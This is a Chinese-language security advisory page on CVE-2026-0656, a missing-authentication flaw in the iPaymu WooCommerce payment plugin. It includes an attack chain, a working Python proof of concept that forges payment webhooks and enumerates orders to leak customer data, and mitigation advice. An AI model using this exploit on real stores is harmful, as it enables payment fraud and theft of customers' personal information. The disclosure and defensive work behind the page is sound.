IPBUF安全漏洞报告
English
CVE-2026-0656 CVSS 8.2 高危

CVE-2026-0656 WordPress iPaymu支付插件缺少认证漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2026-0656
漏洞类型
缺少认证
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
iPaymu Payment Gateway for WooCommerce

相关标签

缺少认证支付网关WooCommerceWordPress插件webhook绕过订单欺诈信息泄露

漏洞概述

iPaymu Payment Gateway是WordPress WooCommerce的一个支付网关插件,允许网站接受iPaymu支付。2026年1月7日披露的CVE-2026-0656漏洞在该插件2.0.2及之前所有版本中存在严重的安全缺陷。由于插件的check_ipaymu_response函数缺少必要的认证验证机制,攻击者可以无需任何身份验证即可向webhook端点发送伪造的支付通知,将任意WooCommerce订单标记为已支付状态。此外,攻击者还可通过GET请求枚举订单ID并获取有效的订单密钥,进而访问客户的敏感个人信息,包括姓名、家庭地址和购买产品信息等。该漏洞CVSS评分达到8.2,属于高危漏洞,CVSS向量显示攻击者可从网络远程发起攻击,无需特殊权限即可实现利用,对机密性造成严重影响。

技术细节

该漏洞的根本原因在于iPaymu Payment Gateway插件的check_ipaymu_response函数缺少对webhook请求的真实性验证。正常情况下,支付网关的回调webhook应该通过以下方式验证请求合法性:1) 检查请求中的数字签名是否与服务器端计算的值匹配;2) 验证请求来源IP是否属于支付网关的合法服务器;3) 验证请求中的订单号、金额等参数是否符合预期。然而该插件完全跳过了这些验证步骤。攻击者只需构造包含正确参数格式的POST请求,指定目标订单ID和伪造的支付状态,即可将订单状态修改为已支付。更严重的是,GET请求可以直接访问订单信息接口,攻击者通过遍历订单ID就能获取所有订单的详细信息,包括收货人姓名、地址、联系电话以及购买产品清单。这种设计缺陷使得任何知晓订单ID的攻击者都能冒充支付网关发送伪造的支付确认通知。

攻击链分析

STEP 1
步骤1
攻击者发现目标WordPress网站安装了存在漏洞的iPaymu Payment Gateway插件(版本<=2.0.2)
STEP 2
步骤2
攻击者通过GET请求访问webhook端点?wc-api=check_ipaymu_response&order_id=X,遍历订单ID范围枚举有效的订单
STEP 3
步骤3
获取到有效订单ID和对应的order_key后,攻击者可以查看订单详情,包括客户姓名、地址、联系电话和购买产品信息
STEP 4
步骤4
攻击者构造伪造的POST请求到webhook端点,在请求体中设置status=success、trx_id、order_id等参数,无需任何签名验证
STEP 5
步骤5
插件接收到伪造的支付通知后,直接将对应订单状态更新为已完成/已支付,而实际并未发生任何付款交易
STEP 6
步骤6
攻击者完成攻击后,商店收到了虚假的付款确认,订单被标记为已支付但实际未收款,导致经济损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-0656 PoC - iPaymu Payment Gateway Auth Bypass # Target: WordPress site with iPaymu WooCommerce plugin <= 2.0.2 TARGET_URL = "https://vulnerable-site.com/" def mark_order_as_paid(order_id): """Mark WooCommerce order as paid without actual payment""" webhook_url = f"{TARGET_URL}?wc-api=check_ipaymu_response" # Crafted POST request without signature verification payload = { 'status': 'success', 'trx_id': 'FAKE_TRX_12345', 'order_id': str(order_id), 'amount': '100000', 'product': f'Order #{order_id}' } response = requests.post(webhook_url, data=payload, timeout=10) print(f"[*] Sent forged payment notification for order {order_id}") print(f"[*] Response status: {response.status_code}") return response def enumerate_orders(start_id=1, end_id=1000): """Enumerate order IDs and leak order keys via GET requests""" print(f"[*] Enumerating orders from {start_id} to {end_id}...") for order_id in range(start_id, end_id + 1): # Direct access to order info without authentication order_url = f"{TARGET_URL}?wc-api=check_ipaymu_response&order_id={order_id}" response = requests.get(order_url, timeout=10) if response.status_code == 200 and 'order_key' in response.text: print(f"[+] Found valid order: {order_id}") print(f"[+] Order details: {response.text[:200]}...") # Execute attack if __name__ == "__main__": # Step 1: Mark a specific order as paid mark_order_as_paid(1001) # Step 2: Enumerate orders to find valid ones enumerate_orders(1000, 2000)

影响范围

iPaymu Payment Gateway for WooCommerce <= 2.0.2

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 在Web服务器层面添加IP白名单,只允许iPaymu官方服务器的IP访问webhook端点;2) 使用ModSecurity等WAF规则阻止异常的webhook请求;3) 临时禁用iPaymu支付网关,改用其他支付插件;4) 加强对订单状态的二次验证,定期核对实际支付记录与订单状态是否一致。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表